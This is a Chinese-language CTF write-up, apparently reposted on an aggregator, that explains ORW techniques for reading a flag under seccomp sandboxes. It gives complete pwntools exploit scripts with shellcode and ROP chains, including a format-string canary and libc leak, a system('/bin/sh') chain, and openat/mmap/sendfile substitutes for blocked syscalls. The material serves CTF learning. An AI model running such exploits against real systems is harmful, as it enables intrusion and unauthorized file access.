[CTF]-PWN:ORW题型综合解析

news2024/9/21 0:51:46

经典ORW:

例题(极客大挑战 2019 Not Bad):

这里使用mmap函数创造了一个内存映射区域

从地址0x123000开始,大小位0x1000

权限为可写可执行(可读0x1,可写0x2,可执行0x3)

设置为私有映射(MAP_PRIVATE)和匿名映射(MAP_ANONYMOUS

常见的标志的值:

  • MAP_SHARED:1
  • MAP_PRIVATE:2
  • MAP_ANONYMOUS:0x20 (32)
  • MAP_FIXED:0x10 (16)
  • MAP_LOCKED:0x2000 (8192)
  • MAP_NORESERVE:0x4000 (16384)

将要映射的文件描述符设为-1,表示不关联任何文件

剩下的0指的就是偏移量了,没有偏移

这里首先初始化将所有系统调用禁用,并且后面使用seccomp_rule_add函数添加了可使用的系统调用。

根据64位系统调用号,分别是:

read:系统调用号为0

write:系统调用号为1

open:系统调用号为2

exit:系统调用号为60

因此系统调用exceve就没法用了。

解题思路:

我尝试在栈上构造shellcode,但是始终因为字节大小稍微大一点没法进行。所以只能将shellcode写入mmap所创建的空间中了,正好此空间可写可执行。

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
#p=process('./bad')
p=remote('node5.buuoj.cn',26264)
jmprsp=0x400A01
mmap=0x123000

readmmap=asm(shellcraft.read(0,mmap,100))
callmmap=asm('''
mov rax,0x123000
call rax
''')
moversp=asm('''
sub rsp,0x30
call rsp
''')
payload=readmmap+callmmap
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmprsp)+moversp
p.sendlineafter(b'have fun!',payload)

opens=asm(shellcraft.open('./flag'))
reads=asm(shellcraft.read(3,mmap,100))
writes=asm(shellcraft.write(1,mmap,100))
payload=opens+reads+writes
p.sendline(payload)

p.interactive()

这里来解释一下部分exp

补充点1:reads=asm(shellcraft.read(3,mmap,100))这里为什么填3而不是0?

答:这个是文件描述符的知识点,在linux中系统会默认设置0,1,2三个文件描述符,而这三个文件描述符代表的分别是标准输入(就是我们从显示器输入的),标准输出,标准错误输出。在我们没有关闭任何一个文件描述符时,我们再打开一个文件,那就会使文件描述符3指向那个文件,以此类推。这里我们打开了flag,所以flag的文件描述符为3。当然为了省事,也可以写成reads=asm(shellcraft.read('rax',mmap,100))

补充点2:在写汇编代码时记得使用context标注系统位,比如64位。

补充点3:opens=asm(shellcraft.open('./flag'))在远程中要写./flag而不是仅仅flag而已。

禁用read:

用mmap代替read:

例题(VNCTF2024 shellcode_master):

在sandbox函数中,函数先使用了seccomp_init初始化,允许了所有系统调用,再用seccomp_rule_add来禁用掉了部分系统调用,其中包括execve和read

seccomp_init函数可以进行系统调用全禁用和全允许初始化

seccomp_rule_add函数可以运行或禁用部分系统调用

题目很明显地提示要使用shellcode,我们可以使用两种方式去编写shellcode

自己编写shellcode:

from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=process('./shellcode')

shellcode='''
push 0
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
mov rdi,0x10000
mov rsi,0x100
mov rdx,1
mov rcx,1
mov r8,rax
mov r9,0
mov rax,9
syscall
mov rdi,1
mov rsi,0x10000
mov rdx,0x100
mov rax,1
syscall
'''
shellcode=asm(shellcode)
print(len(shellcode))
p.sendlineafter(b'show me your power',shellcode)
p.interactive()

用pwntools自带的shellcraft编写shellcode:

from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=process('./shellcode')
 
shellcode=asm(shellcraft.open('flag'))
shellcode+=asm(shellcraft.mmap(0x10000,0x100,1,1,'eax',0))
shellcode+=asm(shellcraft.write(1,0x10000,0x100))
p.sendlineafter(b'show me your power',shellcode)
p.interactive()

补充点1:mmap的初始地址是进程地址,在题目中mmap的初始地址需页对齐,即需为0x1000(4kb)的整数倍。即使在系统调用mmap那里没有页对齐系统也会自动对齐,只是当我们在mmap那边对齐之后,用write会方便一点。

补充点2:即使我们mmap的起始地址是0x1000,程序也会将文件内容读取到0x10000地址。

禁用open:

用openat代替open:

例题(NKCTF2024 Maimai查分器):

完整exp(远程打不通,本地可以):

from pwn import*
context(log_level='debug')
p=process('./maimai')
#p=remote('node.nkctf.yuzhian.com.cn',37717)

p.sendlineafter(b'Select a option:',b'1')
p.sendlineafter(b'Input chart level and rank.',b'14')
p.sendline(b'SSS+')
for i in range(49):
    p.sendline(b'14')
    p.sendline(b'SSS+')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%33$p'
p.sendlineafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
libc_start_main128=int((b'0x'+p.recv(12)),16)
print(libc_start_main128)
libc_start_main=libc_start_main128-128
libc=ELF('./libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
pop_rdi=libcbase+0x2a3e5
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
p.sendlineafter(b'Can you teach me how to play maimai?',b'aa')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%7$p'
p.sendafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
canary=int((b'0x'+p.recv(16)),16)
print(hex(canary))
payload=b'a'*0x28+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter(b'Can you teach me how to play maimai?',payload)

p.interactive()

但是在比赛的时候,getshell之后根本没权限打开flag,所以只能考虑用orw直接读文件。

完整exp:

from pwn import*
context(log_level='debug')
p=process('./maimai')
#p=remote('node.nkctf.yuzhian.com.cn',37717)

p.sendlineafter(b'Select a option:',b'1')
p.sendlineafter(b'Input chart level and rank.',b'14')
p.sendline(b'SSS+')
for i in range(49):
    p.sendline(b'14')
    p.sendline(b'SSS+')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%33$p'
p.sendlineafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
libc_start_main128=int((b'0x'+p.recv(12)),16)
print(libc_start_main128)
libc_start_main=libc_start_main128-128
libc=ELF('./libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x2be51
pop_rdx_r12=libcbase+0x11f2e7
ret=libcbase+0x29139
system=libcbase+libc.sym['system']
reads=libcbase+libc.sym['read']
binsh=libcbase+next(libc.search(b'/bin/sh'))
p.sendlineafter(b'Can you teach me how to play maimai?',b'aa')
p.sendlineafter(b'Select a option:',b'2')
payload=b'%7$p%8$p'
p.sendafter(b'Input your nickname.',payload)
p.recvuntil(b'0x')
canary=int((b'0x'+p.recv(16)),16)
print(hex(canary))
p.recvuntil(b'0x')
onestack=int((b'0x'+p.recv(12)),16)
print(hex(onestack))
payload=b'/flag\x00'
payload=payload.ljust(0x28,b'a')
payload+=p64(canary)+b'a'*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(onestack+0x8)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
p.sendlineafter(b'Can you teach me how to play maimai?',payload)
print(len(payload))
openat=libcbase+libc.sym['openat']
puts=libcbase+libc.sym['puts']
payload=p64(pop_rsi)+p64(onestack-0x70)+p64(pop_rdx_r12)+p64(0)*2+p64(openat)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(onestack-0x70)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)
payload+=p64(pop_rdi)+p64(onestack-0x70)+p64(puts)
p.sendline(payload)
p.interactive()

#补充点1:

payload+=p64(canary)+b'a'*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(onestack+0x8)+p64(pop_rdx_r12)+p64(0x1000)+p64(0)+p64(reads)

这里的的onestack+0x8是为了在之前构造的ROP链里接上新输入的ROP链

#补充点2:0x80的大小不足以读文件,所以要再次构建read函数,设置大的输入字节

#补充点3:openat函数必须要填入三个参数,

  1. 第一个参数:文件描述符,用于指定路径解析的起点。
  2. 第二个参数:文件路径名,要打开的文件的路径。
  3. 第三个参数:标志位,用于指定文件的打开方式和权限等信息。

 这里文件描述符设置为0是表示在当前目录解析路径,标志位设置为0是用默认方式打开文件

 

禁用write:

用sendfile代替write:

例题(XYCTF2024 invisible_flag):

这里禁用了很多关键函数,只能全代替了。

用openat代替open,用mmap代替read,用sendfile代替write

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
p=process('./vuln')
p=remote('xyctf.top',44849)

shellcode=shellcraft.openat(0,'/flag',0)
shellcode+=shellcraft.mmap(0x10000,0x100,1,1,'eax',0)
shellcode+=shellcraft.sendfile(1,3,0,0x100)
shellcode=asm(shellcode)
p.sendlineafter(b'show your magic again',shellcode)
p.interactive()

持续更新

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1977542.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Halcon 二维匹配

匹配:在训练图像中呈现一个所谓的模板。系统从这个模板中派生出一个模型,通过使用该模型来定位于搜索图像中的相似模板对象。此方法能够处理打光、杂乱、位置和旋转变换的图像。 匹配优点:鲁棒性和灵活性。匹配不需要对目标进行任何形式的分割…

50 选择结构

常见的选择结构有单分支选择结构、双分支选择结构、多分支选择结构及嵌套的分支结构,也可以构造跳转表来实现类似的逻辑。循环结构和异常处理结构中也可以实现带有 else 子句,可以看作特殊形式的选择结构。 所有的 Python 合法表达式都可以作为条件表达…

MySQL数据库入门:掌握数据管理的关键步骤!

前言 竹竹零将带您深入探索MySQL数据库的基础知识和实用技能,一同走进Java逻辑控制语句的 学习吧!!! 本节目标 数据库的操作:创建数据库、删除数据库常用数据类型表的操作:创建表、删除表 1. 数据库的操作…

跨域以及解决方案

禹神:一小时彻底搞懂跨域&解决方案_哔哩哔哩_bilibili该直播回放对跨域的多种解决方案进行了梳理,内容包括:分析同源策略、分析预检请求、跨域的多种解决方案(CORS、JSONP、代理)、同时也从后端人员角度梳理了各种…

计算机毕业设计选题推荐-学生作业管理系统-Java/Python项目实战

✨作者主页:IT研究室✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

一次性下发100w的优惠券/短信/二维码,兼顾线程池参数可配置

1、场景需求分析 针对6.18,11.11这种场景,平台一次性发布500w张优惠券,或者对于锁单用户统一发下100w张确认信息,同时我们平时有抢购茅台的场景,京东一次性发布10w个验证码,主要是针对高并发多线程大数据批处理任务的场景,一般用于二维码、优惠券、邮件、短信等场景。 …

MyBatis的适用场合与优势

MyBatis的适用场合与优势 1、适用场合2、优势 💖The Begin💖点点关注,收藏不迷路💖 1、适用场合 SQL灵活控制: 适合需要精确控制SQL语句生成和执行的项目。 高性能需求: 对于性能要求高的系统,…

02:【stm32】工程模板的创建

工程模板的创建 1、创建工程文件2、创建STM32的启动文件3、Keil软件里面添加启动文件4、创建我们编写程序的文件夹5、创建存放标准库函数的文件夹6、Keil软件的一些设置 1、创建工程文件 2、创建STM32的启动文件 ①创建Start文件夹用来保存STM32的启动文件 ②下载STM32的固件库…

Apple在Swift中引入同态加密

--->更多内容&#xff0c;请移步“鲁班秘笈”&#xff01;&#xff01;<--- 在计算过程中确保数据隐私和安全性很重要&#xff0c;尤其是在使用云服务。传统的加密方法要求在处理数据之前对数据进行解密&#xff0c;使其面临潜在风险。同态加密是隐私计算的分支&#xf…

C Primer Plus 第5章——第二篇

你该逆袭了 第5 章:重点摘录 三、表达式和语句1、表达式2、语句&#xff08;1&#xff09;副作用 和 序列点&#xff08;a&#xff09;副作用&#xff08;b&#xff09;序列点1、完整表达式 3、复合语句&#xff08;块&#xff09; 四、类型转换1、强制类型转换运算符2、总结&a…

修改 WSL 安装的子系统的位置,节约C盘空间

问题描述 由于 WSL 玩了一阵子&#xff0c;发现C盘的磁盘空间快没了&#xff0c;如下图所示 感觉以后还是不要磁盘分区了&#xff0c;全部在C盘也没什么不好的。 挪动子系统方法 如下图所示&#xff0c;为了方便演示&#xff0c;我们安装了 ubuntu 子系统&#xff0c;并且打…

快讯 | AI牙医震撼登场:15分钟完成牙冠准备,速度超人类8倍!

在数字化浪潮的推动下&#xff0c;人工智能&#xff08;AI&#xff09;正成为塑造未来的关键力量。硅纪元视角栏目紧跟AI科技的最新发展&#xff0c;捕捉行业动态&#xff1b;提供深入的新闻解读&#xff0c;助您洞悉技术背后的逻辑&#xff1b;汇聚行业专家的见解&#xff0c;…

计算几何 点乘 两点间距离 两向量夹角

点乘 点乘&#xff08;也称为内积、标量积或数量积&#xff09;是线性代数中两个向量之间的一种运算&#xff0c;其结果是一个标量&#xff08;即一个单一的数&#xff0c;而不是向量&#xff09;。对于两个n维向量a(a 1 ,a 2 ,…,a n )和b(b 1 ,b 2 ,…,b n )&#xff0c;它们…

翻译: 梯度下降 深度学习神经网络如何学习一

在上一节影片里我讲解了神经网络的结构 首先我们来快速回顾一下 在本节影片里&#xff0c;我们有两个目标 首介绍梯度下降的概念 它不仅是神经网络工作的基础 也是很多其他机器学习方法的基础 然后我们会研究一下这个特别的网络是如何工作的 以及这些隐藏的神经元层究竟在寻找什…

【RDMA项目】如何使用rdma-core进行调用开发一个实战项目

RDMA (Remote Direct Memory Access) 是一种网络协议&#xff0c;可以在计算节点之间实现高效的内存数据传输&#xff0c;而无需CPU的干预。rdma-core 是 RDMA 的一个用户空间库&#xff0c;提供了一些简单易用的接口来使用 RDMA 功能。 开发了一套高级 RDMA&#xff08;远程直…

浅谈Trie树算法(c++)

文章目录 于是他错误的点名开始了题目背景题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 提示思路AC代码 01Trie求n个数两两异或的最大值AC代码 Nikitosh 和异或思路AC代码 The XOR-longest Path思路AC代码 又称字典树&#xff0c;用边来代表字母&#xff0c;而从根结…

《最终幻想14》手游版已获准在中国发行

上个月&#xff0c;有传言称史克威尔和腾讯正在合作开发前者大获成功的MMORPG《最终幻想14》的手机版。Niko Partners分析师丹尼尔艾哈迈德在推特上提到&#xff0c;中国国家新闻出版署已批准发行新一批进口游戏&#xff0c;其中包括《最终幻想14》的手机版&#xff0c;名为《最…

AI智能名片小程序:匹配法则下的粉丝经济新探索

摘要&#xff1a;在数字化时代&#xff0c;企业与消费者之间的互动方式正经历着前所未有的变革。AI智能名片小程序作为这一变革中的新兴产物&#xff0c;不仅重塑了传统商务交流的场景&#xff0c;更在匹配法则的指导下&#xff0c;深刻影响着品牌与粉丝关系的构建与维护。本文…

网络安全数字化转型

1. 背景介绍 在当今数字化浪潮席卷全球的背景下&#xff0c;推行数字化网络安全建设显得尤为迫切与重要&#xff0c;这主要根植于两大核心驱动力&#xff1a;实战挑战的严峻性与行业发展的迫切需求。 1.1. 实战难题的迫切应对 随着信息技术的飞速发展&#xff0c;网络…

全球汽车用粉末涂料市场规划预测:2030年市场规模将接近199亿元,未来六年CAGR为4.3%

一、引言 随着全球汽车行业的持续发展&#xff0c;汽车用粉末涂料作为车辆涂装的重要材料&#xff0c;其市场重要性日益凸显。本文旨在探索汽车用粉末涂料行业的发展趋势、潜在商机及其未来展望。 二、市场趋势 全球汽车用粉末涂料市场的增长主要受全球汽车产量增加、消费者对…